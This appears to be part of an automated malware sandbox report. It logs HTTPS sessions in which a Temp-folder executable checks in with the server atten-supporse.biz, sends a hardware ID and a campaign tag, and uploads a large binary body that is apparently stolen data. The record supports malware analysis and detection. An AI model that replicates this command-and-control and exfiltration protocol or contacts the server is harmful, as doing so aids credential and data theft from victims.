2024-12-09 20:09:45 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0re1pp7f7mumcb6ml0j8udg1mt; expires=Fri, 04-Apr-2025 13:56:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LjH5srWN8o0ppcBClyQG3cZKYLYjAggXUm2yunrt%2FTvCZQyMrCOy0bUFHWupOMtT%2BZkDR1mKhM0tMG6ecpW0O3wrRIHTYBJ%2FpMP5cO%2BDcXxaYcrb6%2F0sBf8ImgMnwGvw9wOKUPY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a273a8417ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1818&min_rtt=1810&rtt_var=696&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=20870&delivery_rate=1552365&cwnd=243&unsent_bytes=0&cid=dfaf77a78f8868c4&ts=940&x=0"
2024-12-09 20:09:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49958	104.21.48.1	443	3504	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:46 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 20:09:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 20:09:47 UTC	1030	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bqa8kpqk5h7bb7fvut9r4bmpoa; expires=Fri, 04-Apr-2025 13:56:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZFhXKKxZ%2FZ1z1NRqfLE58OX6Qqzg4lrcvbwWhFe97XLvgtnXBRZ18Ybu6Z%2BP4gX%2Fi%2BYhSo%2BHZcxyLxIBIGt8ETxOYH6f%2BMGg3tuKFQfB6oAnFjn%2FDcZJ%2FnP%2F87RckEVqgi%2BVWyw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a2851e7ef797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1748&rtt_var=685&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1670480&cwnd=151&unsent_bytes=0&cid=7b3968031f82cb03&ts=1032&x=0"
2024-12-09 20:09:47 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 20:09:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49960	104.21.48.1	443	5440	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:47 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X1G978EDH5J37MIT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1242 Host: atten-supporse.biz
2024-12-09 20:09:47 UTC	1242	OUT	Data Raw: 2d 2d 58 31 47 39 37 38 45 44 48 35 4a 33 37 4d 49 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 58 31 47 39 37 38 45 44 48 35 4a 33 37 4d 49 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 31 47 39 37 38 45 44 48 35 4a 33 37 4d 49 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --X1G978EDH5J37MITContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--X1G978EDH5J37MITContent-Disposition: form-data; name="pid"1--X1G978EDH5J37MITContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-09 20:09:47 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gbqtvlt0o4rl381f3v73qup7jb; expires=Fri, 04-Apr-2025 13:56:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mUzGFDupkAMs8Fuokgp6g1663FfUBec8j3FPwi0B%2F51kqiwFDLDnyMouamAh0TLVxDwRKYALNqed%2BcZvOYduEZnZ7pS5NGBaT8jXPaxMgBs%2BbwUdjuhlCl4rSM5FO%2B0bygPu6GM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a28698e37ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1794&rtt_var=682&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2159&delivery_rate=1594756&cwnd=179&unsent_bytes=0&cid=7b29a00f10f06dd8&ts=740&x=0"
2024-12-09 20:09:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49967	104.21.48.1	443	3504	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:49 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 20:09:49 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 20:09:49 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c4vctqumkuqvohd28hbs5fr744; expires=Fri, 04-Apr-2025 13:56:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c%2BQO4vNHpACPgMlDGiLXhGntITHZONbHkW%2F6CWyYfdUGcJaiRXJtRjeKBB7RLH5rMyHXNNkddZKQbdKoyWP1J1WLKzKp07zolC2kpJckJIdDPScJefkR0O%2BJ%2BpRT8JKODe2YWQQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a2939c8d7ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1799&rtt_var=686&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1583514&cwnd=243&unsent_bytes=0&cid=130f608875dad530&ts=772&x=0"
2024-12-09 20:09:49 UTC	352	IN	Data Raw: 34 39 31 63 0d 0a 31 62 7a 42 77 33 6b 35 52 61 50 66 48 2b 2f 38 6f 49 70 44 79 4a 53 57 30 48 66 59 6b 63 52 36 43 53 67 62 33 32 35 37 30 78 75 75 6e 72 66 68 51 77 31 70 67 61 78 36 7a 63 62 55 2b 44 61 74 75 4c 53 78 45 2f 71 72 6f 68 74 6c 57 33 37 7a 54 41 32 2b 4f 65 2f 61 6f 4b 38 4b 58 47 6d 42 75 6d 66 4e 78 76 76 78 59 61 33 36 74 4f 70 56 76 66 75 6d 47 32 56 4b 65 72 51 42 43 37 39 34 76 64 43 6d 71 78 78 61 49 63 4b 7a 63 6f 71 5a 78 65 73 70 70 76 33 37 75 42 72 36 76 65 59 66 63 77 6f 68 2f 53 4d 65 70 33 71 59 33 62 4b 6f 57 30 52 70 32 50 31 36 67 64 36 61 71 43 4b 74 39 76 71 32 45 37 50 35 72 42 4a 74 53 33 2b 31 48 68 4b 31 63 37 33 65 70 61 6f 57 55 7a 58 50 75 58 57 42 6e 38 2f 72 59 65 53 32 38 36 70 56 34 72 50 31 4b 6d 68 62 61 Data Ascii: 491c1bzBw3k5RaPfH+/8oIpDyJSW0HfYkcR6CSgb32570xuunrfhQw1pgax6zcbU+DatuLSxE/qrohtlW37zTA2+Oe/aoK8KXGmBumfNxvvxYa36tOpVvfumG2VKerQBC794vdCmqxxaIcKzcoqZxesppv37uBr6veYfcwoh/SMep3qY3bKoW0Rp2P16gd6aqCKt9vq2E7P5rBJtS3+1HhK1c73epaoWUzXPuXWBn8/rYeS286pV4rP1Kmhba
2024-12-09 20:09:49 UTC	1369	IN	Data Raw: 38 61 56 69 66 54 74 58 61 47 6d 39 44 6a 4b 4b 66 37 39 4c 38 66 74 66 43 6d 48 32 46 41 64 72 63 49 46 4c 78 2f 74 39 37 6a 37 31 74 63 50 34 48 6c 50 61 36 62 30 75 38 74 76 4c 54 4f 38 67 72 30 36 75 59 66 5a 77 6f 68 2f 51 51 63 73 6e 71 38 30 61 43 70 45 45 6b 6e 30 37 74 77 69 49 7a 45 37 53 2b 67 39 65 61 34 47 37 7a 77 72 78 4e 69 54 33 36 35 54 46 66 78 66 71 2b 65 2b 2b 45 36 56 69 7a 4e 74 32 71 4e 33 74 32 6d 4f 4f 72 78 2b 50 4a 4e 2b 76 65 6e 48 47 70 4f 64 37 4d 49 46 62 64 33 75 74 47 6c 71 78 74 63 4c 63 6d 31 66 49 43 56 7a 65 67 6b 70 2f 4c 79 76 68 53 2f 73 2b 68 59 62 46 49 35 35 55 77 33 74 6e 71 6c 6e 4a 61 69 46 56 55 67 31 2f 31 69 77 34 65 43 37 79 33 71 72 72 53 38 45 4c 58 68 70 77 70 75 52 47 75 78 43 52 2b 38 65 72 6e 65 70 Data Ascii: 8aVifTtXaGm9DjKKf79L8ftfCmH2FAdrcIFLx/t97j71tcP4HlPa6b0u8tvLTO8gr06uYfZwoh/QQcsnq80aCpEEkn07twiIzE7S+g9ea4G7zwrxNiT365TFfxfq+e++E6VizNt2qN3t2mOOrx+PJN+venHGpOd7MIFbd3utGlqxtcLcm1fICVzegkp/LyvhS/s+hYbFI55Uw3tnqlnJaiFVUg1/1iw4eC7y3qrrS8ELXhpwpuRGuxCR+8ernep
2024-12-09 20:09:49 UTC	1369	IN	Data Raw: 67 31 2f 31 69 77 34 65 43 37 79 33 71 72 72 53 2f 48 62 2f 32 71 52 6c 68 52 48 79 33 41 42 47 2f 65 71 58 52 70 36 45 58 55 79 33 4d 73 33 6d 46 6c 38 6e 6a 4a 36 72 33 2f 76 4a 62 2b 76 53 2b 57 44 4d 4b 54 62 6f 41 46 4c 34 37 67 74 32 74 72 78 78 4e 5a 39 37 7a 5a 4d 32 5a 7a 71 68 35 36 76 72 39 73 68 36 77 39 36 59 66 5a 6b 39 36 75 67 38 55 74 6e 4f 35 32 61 65 74 45 6c 59 68 77 62 70 35 69 49 7a 48 34 53 32 6d 74 72 72 79 45 71 4b 7a 2f 6c 68 45 54 57 2b 2b 49 78 71 67 63 50 66 42 37 62 68 62 58 43 75 42 35 54 32 4b 6d 38 72 6a 4a 36 4c 32 35 72 63 62 73 66 4b 73 48 6d 70 48 64 62 73 4d 47 4c 46 2f 75 39 36 6b 70 67 6c 4a 49 73 65 76 64 38 33 51 67 75 38 35 36 71 36 30 68 41 57 74 34 72 42 61 58 6b 6c 33 73 77 73 50 38 57 62 35 78 2b 4f 6d 46 78 Data Ascii: g1/1iw4eC7y3qrrS/Hb/2qRlhRHy3ABG/eqXRp6EXUy3Ms3mFl8njJ6r3/vJb+vS+WDMKTboAFL47gt2trxxNZ97zZM2Zzqh56vr9sh6w96YfZk96ug8UtnO52aetElYhwbp5iIzH4S2mtrryEqKz/lhETW++IxqgcPfB7bhbXCuB5T2Km8rjJ6L25rcbsfKsHmpHdbsMGLF/u96kpglJIsevd83Qgu856q60hAWt4rBaXkl3swsP8Wb5x+OmFx
2024-12-09 20:09:49 UTC	1369	IN	Data Raw: 63 34 43 56 7a 65 4d 7a 71 76 76 77 76 68 47 79 2b 4b 78 59 4a 51 70 2b 70 55 78 42 38 55 79 36 30 61 4f 69 44 52 73 34 6a 36 51 39 69 70 4b 43 73 47 47 6d 2b 50 53 39 47 62 62 34 72 68 6c 6e 52 48 36 34 42 52 47 35 61 37 62 61 71 36 41 56 56 43 62 46 75 48 69 4a 6d 63 62 75 4c 75 71 34 74 4c 55 4e 2b 71 76 6d 4e 30 78 2f 4f 35 77 32 57 61 34 33 72 70 36 6b 72 56 73 44 5a 38 32 2b 63 59 57 52 78 4f 45 74 6f 50 2f 2f 76 68 36 2b 2f 36 38 64 62 55 74 38 75 41 30 64 76 58 4f 78 33 61 43 75 46 46 51 76 67 66 4d 39 69 6f 61 43 73 47 47 50 34 66 2b 38 45 2f 72 73 36 41 45 72 54 58 58 39 56 46 6d 39 63 4c 48 59 70 71 30 61 58 53 2f 45 74 58 6d 4d 6d 4d 54 72 4c 71 37 7a 39 62 30 52 74 76 32 73 47 57 70 47 63 72 49 48 48 50 45 33 39 39 6d 37 34 55 4d 62 46 73 4b Data Ascii: c4CVzeMzqvvwvhGy+KxYJQp+pUxB8Uy60aOiDRs4j6Q9ipKCsGGm+PS9Gbb4rhlnRH64BRG5a7baq6AVVCbFuHiJmcbuLuq4tLUN+qvmN0x/O5w2Wa43rp6krVsDZ82+cYWRxOEtoP//vh6+/68dbUt8uA0dvXOx3aCuFFQvgfM9ioaCsGGP4f+8E/rs6AErTXX9VFm9cLHYpq0aXS/EtXmMmMTrLq7z9b0Rtv2sGWpGcrIHHPE399m74UMbFsK
2024-12-09 20:09:49 UTC	1369	IN	Data Raw: 63 33 6b 59 65 53 32 38 36 70 56 34 72 4f 49 45 33 68 64 65 72 4d 48 44 36 6f 35 71 4a 43 36 34 52 78 58 5a 35 6e 39 66 6f 61 56 78 75 67 74 71 76 4c 35 73 67 65 31 39 4b 45 52 59 46 68 7a 75 67 73 53 75 58 4b 34 32 4c 47 74 46 55 6b 69 30 36 38 39 77 39 37 46 38 47 48 79 74 73 4b 31 42 61 72 77 35 43 6c 39 53 57 2b 32 41 52 58 78 5a 76 6e 48 34 36 59 58 47 33 2b 42 75 33 4b 45 6e 63 33 70 4b 4b 62 37 38 62 73 51 75 2f 57 69 45 6d 46 4b 66 37 73 4e 48 4c 74 36 74 74 53 71 70 68 4e 63 4a 4e 50 39 4d 38 32 5a 32 71 68 35 36 74 2f 7a 6f 42 75 71 73 37 6c 57 63 67 70 2b 73 55 78 42 38 58 32 39 30 61 65 6d 46 31 30 69 78 37 42 38 67 70 2f 43 35 79 57 68 2f 2f 4b 7a 47 4c 2f 2b 6f 67 70 68 51 58 61 78 42 52 57 38 4f 66 6d 65 70 4c 6c 62 41 32 66 77 73 48 4f 44 Data Ascii: c3kYeS286pV4rOIE3hderMHD6o5qJC64RxXZ5n9foaVxugtqvL5sge19KERYFhzugsSuXK42LGtFUki0689w97F8GHytsK1Barw5Cl9SW+2ARXxZvnH46YXG3+Bu3KEnc3pKKb78bsQu/WiEmFKf7sNHLt6ttSqphNcJNP9M82Z2qh56t/zoBuqs7lWcgp+sUxB8X290aemF10ix7B8gp/C5yWh//KzGL/+ogphQXaxBRW8OfmepLlbA2fwsHOD
2024-12-09 20:09:49 UTC	1369	IN	Data Raw: 75 68 38 2f 6d 2f 47 4c 6e 31 6f 42 4e 6e 57 48 43 39 44 78 4c 78 4e 2f 66 5a 75 2b 46 44 47 77 54 57 71 33 65 4b 6b 74 54 6a 49 4b 6e 67 2b 61 4a 56 39 4c 4f 33 48 33 6f 4b 49 61 73 63 44 72 5a 6d 2b 63 66 6a 70 68 63 62 66 34 47 37 64 49 75 5a 78 4f 59 7a 72 2f 44 37 76 52 79 7a 39 36 34 62 61 30 35 39 75 67 6b 61 76 58 4b 77 33 61 79 6c 45 6c 55 75 7a 76 30 7a 7a 5a 6e 61 71 48 6e 71 31 2b 2b 78 47 62 65 7a 75 56 5a 79 43 6e 36 78 54 45 48 78 64 62 6e 62 6f 36 73 64 58 79 4c 48 74 33 69 4e 6c 63 48 6e 4a 61 7a 79 2b 37 49 65 73 2f 4b 67 48 57 46 42 66 37 41 50 48 37 63 35 2b 5a 36 6b 75 56 73 44 5a 2b 47 6d 63 49 47 5a 67 76 64 76 73 37 62 7a 76 6c 58 69 73 36 30 55 62 30 31 35 73 41 38 52 74 48 32 39 32 36 4f 70 43 56 4d 6e 78 71 39 76 6a 5a 66 48 35 Data Ascii: uh8/m/GLn1oBNnWHC9DxLxN/fZu+FDGwTWq3eKktTjIKng+aJV9LO3H3oKIascDrZm+cfjphcbf4G7dIuZxOYzr/D7vRyz964ba059ugkavXKw3aylElUuzv0zzZnaqHnq1++xGbezuVZyCn6xTEHxdbnbo6sdXyLHt3iNlcHnJazy+7Ies/KgHWFBf7APH7c5+Z6kuVsDZ+GmcIGZgvdvs7bzvlXis60Ub015sA8RtH2926OpCVMnxq9vjZfH5
2024-12-09 20:09:49 UTC	1369	IN	Data Raw: 30 6f 42 61 71 38 4b 6b 4a 56 51 6f 68 70 44 4a 5a 75 6d 2b 77 7a 71 43 33 45 46 59 72 30 49 4d 39 31 63 71 51 75 6e 50 34 70 4f 76 79 43 6f 57 39 35 68 6b 72 45 6b 43 6b 54 41 2f 78 49 65 57 51 34 37 4e 62 41 32 65 47 76 6d 2b 66 6d 4d 48 2b 49 75 33 49 79 70 55 44 73 50 53 32 48 33 78 46 4f 66 4e 4d 46 76 45 68 6a 70 36 71 70 67 42 4b 4d 63 79 74 65 73 32 68 6a 4b 67 35 36 71 36 30 68 78 61 30 2f 61 45 4f 65 67 64 65 71 77 59 65 6f 58 36 67 30 65 50 76 57 31 31 6e 6d 65 34 7a 7a 5a 72 54 71 48 6e 36 70 4b 2f 6e 52 75 32 6a 39 41 63 6c 55 7a 6d 72 54 45 48 6a 4e 2f 66 4d 34 2f 6c 62 48 43 54 54 72 33 75 4f 69 4d 47 76 48 35 54 52 37 72 38 54 72 65 4b 59 4a 6d 78 51 64 4c 73 62 43 50 31 73 74 4e 43 74 70 67 30 62 61 59 47 79 50 64 57 6e 67 71 42 68 6c 62 Data Ascii: 0oBaq8KkJVQohpDJZum+wzqC3EFYr0IM91cqQunP4pOvyCoW95hkrEkCkTA/xIeWQ47NbA2eGvm+fmMH+Iu3IypUDsPS2H3xFOfNMFvEhjp6qpgBKMcytes2hjKg56q60hxa0/aEOegdeqwYeoX6g0ePvW11nme4zzZrTqHn6pK/nRu2j9AclUzmrTEHjN/fM4/lbHCTTr3uOiMGvH5TR7r8TreKYJmxQdLsbCP1stNCtpg0baYGyPdWngqBhlb
2024-12-09 20:09:49 UTC	1369	IN	Data Raw: 34 61 62 31 54 7a 73 59 5a 76 4d 56 57 61 63 35 37 34 7a 74 34 51 6b 62 66 34 48 36 66 70 2b 4d 78 4f 73 33 71 62 48 4b 6a 44 4b 30 39 4b 63 4f 65 31 31 32 67 7a 49 4d 73 6e 65 35 32 62 57 77 57 78 56 6e 7a 76 30 6c 74 4e 36 4b 71 42 37 6b 74 75 7a 79 54 66 72 47 70 52 5a 6c 54 57 2b 73 51 54 36 2f 66 72 62 49 73 37 59 55 47 32 6d 42 75 7a 33 56 7a 49 79 6f 4a 62 75 32 72 4f 4a 48 34 61 62 31 54 7a 73 59 5a 76 4d 56 57 61 63 35 37 34 7a 74 34 51 6b 62 66 34 48 36 66 70 2b 4d 78 4f 73 33 71 62 48 4b 6a 44 4b 30 39 4b 63 4f 65 31 31 32 38 69 49 76 6b 45 65 4a 79 36 43 76 46 56 77 78 30 50 30 7a 7a 5a 47 43 73 42 6a 71 76 72 53 4e 57 2f 72 72 35 6b 41 72 66 33 71 7a 41 68 36 6e 61 50 72 35 72 61 59 61 54 54 66 57 73 6a 4b 6a 71 4f 4f 6f 62 2b 72 77 74 4f 70 Data Ascii: 4ab1TzsYZvMVWac574zt4Qkbf4H6fp+MxOs3qbHKjDK09KcOe112gzIMsne52bWwWxVnzv0ltN6KqB7ktuzyTfrGpRZlTW+sQT6/frbIs7YUG2mBuz3VzIyoJbu2rOJH4ab1TzsYZvMVWac574zt4Qkbf4H6fp+MxOs3qbHKjDK09KcOe1128iIvkEeJy6CvFVwx0P0zzZGCsBjqvrSNW/rr5kArf3qzAh6naPr5raYaTTfWsjKjqOOob+rwtOp
2024-12-09 20:09:49 UTC	1369	IN	Data Raw: 44 56 35 54 57 6d 2b 54 69 69 6e 65 72 66 51 70 4f 46 56 47 7a 2b 42 35 54 32 67 6a 4d 58 34 49 75 71 34 74 4c 35 56 34 72 4f 72 43 6d 78 61 65 76 45 4c 41 37 59 35 71 4a 43 36 34 51 30 62 66 35 4c 7a 50 5a 2f 65 6d 71 68 6d 70 50 76 31 73 52 75 35 34 62 51 65 61 46 78 36 2b 6a 49 6e 6e 47 75 77 7a 71 44 6a 4b 6c 59 6a 31 36 68 2b 6e 5a 6e 38 31 67 79 34 38 65 53 78 56 35 62 30 71 78 52 56 64 45 36 73 43 77 6e 7a 58 37 54 49 6f 4f 46 56 47 7a 2b 42 35 54 32 67 6a 4d 58 34 49 75 6a 61 38 37 38 5a 2b 75 7a 6f 41 53 74 63 4f 65 56 66 56 2f 46 72 39 34 62 6a 35 68 68 4a 4e 63 65 2b 61 34 37 5a 2f 4e 59 4d 75 50 48 6b 73 56 65 4c 2f 71 49 4f 66 6b 6c 70 75 6a 49 6e 6e 47 75 77 7a 71 44 6a 50 6d 46 6c 38 4b 74 2b 6a 5a 44 46 71 47 2f 71 37 72 54 71 56 5a 66 68 Data Ascii: DV5TWm+TiinerfQpOFVGz+B5T2gjMX4Iuq4tL5V4rOrCmxaevELA7Y5qJC64Q0bf5LzPZ/emqhmpPv1sRu54bQeaFx6+jInnGuwzqDjKlYj16h+nZn81gy48eSxV5b0qxRVdE6sCwnzX7TIoOFVGz+B5T2gjMX4Iuja878Z+uzoAStcOeVfV/Fr94bj5hhJNce+a47Z/NYMuPHksVeL/qIOfklpujInnGuwzqDjPmFl8Kt+jZDFqG/q7rTqVZfh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49973	104.21.48.1	443	5440	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:49 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6K96DRPV2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 565543 Host: atten-supporse.biz
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: 2d 2d 36 4b 39 36 44 52 50 56 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 36 4b 39 36 44 52 50 56 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 4b 39 36 44 52 50 56 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 4b 39 36 44 52 50 56 32 0d 0a 43 6f 6e 74 65 6e Data Ascii: --6K96DRPV2Content-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--6K96DRPV2Content-Disposition: form-data; name="pid"1--6K96DRPV2Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--6K96DRPV2Conten
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: 79 8b 0a 59 79 7c ac bc 51 6a 8a 9e d4 95 c4 f2 c9 b8 ba e4 62 46 e5 67 e9 a2 11 3e a3 87 e1 87 7a b1 b1 e2 0f 8a b8 c5 78 30 8e 6a 9f e2 fd 32 54 a5 1b 24 70 ee 48 11 af 42 44 56 bc fe 0d 13 42 ff fe 68 d8 4f 62 56 88 ce 40 b5 4f ae 8b f5 15 0d 47 32 44 88 6a ba 53 06 00 63 7b a2 02 77 9a 44 c9 98 37 32 8c 89 b0 27 3c 4f b6 56 a5 f7 2d 99 c3 31 83 30 5b 48 70 4b 02 d3 87 86 e3 b9 b7 22 35 3e 5e 1f b7 8d 53 1f 57 7a f9 c5 81 f9 cc c1 9a 65 4f 97 8e db be e5 f7 78 0e 0e 4a 3b 71 e3 45 ad 1f f8 ae 55 68 6e 2c fd 71 97 db 91 00 65 a2 22 59 61 24 58 60 9a 92 af e9 da 40 ea c0 5e 64 64 f7 fb 49 ee 34 4a 9b df b0 e0 1e 1a 8b de ae 0f db 67 69 88 85 67 f1 25 94 e4 15 f6 95 62 48 52 e9 eb ab 96 17 cd d4 0a be 58 f7 f4 7b 72 7f 4c ce d7 fd 5a 7f 2a 3d 1c 11 9a 88 Data Ascii: yYy\|QjbFg>zx0j2T$pHBDVBhObV@OG2DjSc{wD72'<OV-10[HpK"5>^SWzeOxJ;qEUhn,qe"Ya$X`@^ddI4Jgig%bHRX{rLZ*=
2024-12-09 20:09:49 UTC	15331	OUT	Data Raw: ee e7 3e 81 09 cc fa 35 f3 81 96 94 82 4a 76 f3 44 e7 a3 8f e1 15 a2 b7 e9 3f 7c 45 a3 5e 94 f2 de ff 88 24 74 75 b0 5f 38 10 3c 7a 3b 0d e7 0f 64 ae 2d bc 19 ae ee fd a0 4a 6a 38 b2 fb 0e bb b3 ac 76 3c b1 da ab a8 6a 7e 3d 64 d8 ab 6c 64 32 9c bb 92 59 55 b5 b0 f9 21 c4 6f f6 68 19 f9 cb df af 21 c6 bb 00 ee 27 27 ad 9f 66 01 ff fd c8 2c 5f e9 d0 57 87 eb 0a b8 8b e7 59 83 99 81 3b 43 5f c4 9c 37 0e 29 c8 49 2d 6d fe b8 bd 46 1f fd 57 4d d8 c4 f9 eb eb 8d 0c d1 b1 e5 fb 0e d5 f3 df c2 59 63 4f 05 6b 3a 7e af 99 fc 49 e1 5b 0d a7 a3 8a 59 a4 3d 37 92 f6 d0 bb fc 55 6e 5f 1f 16 b6 32 e6 94 38 54 dd 7d 37 54 72 f3 9f 21 f6 7a 55 3d 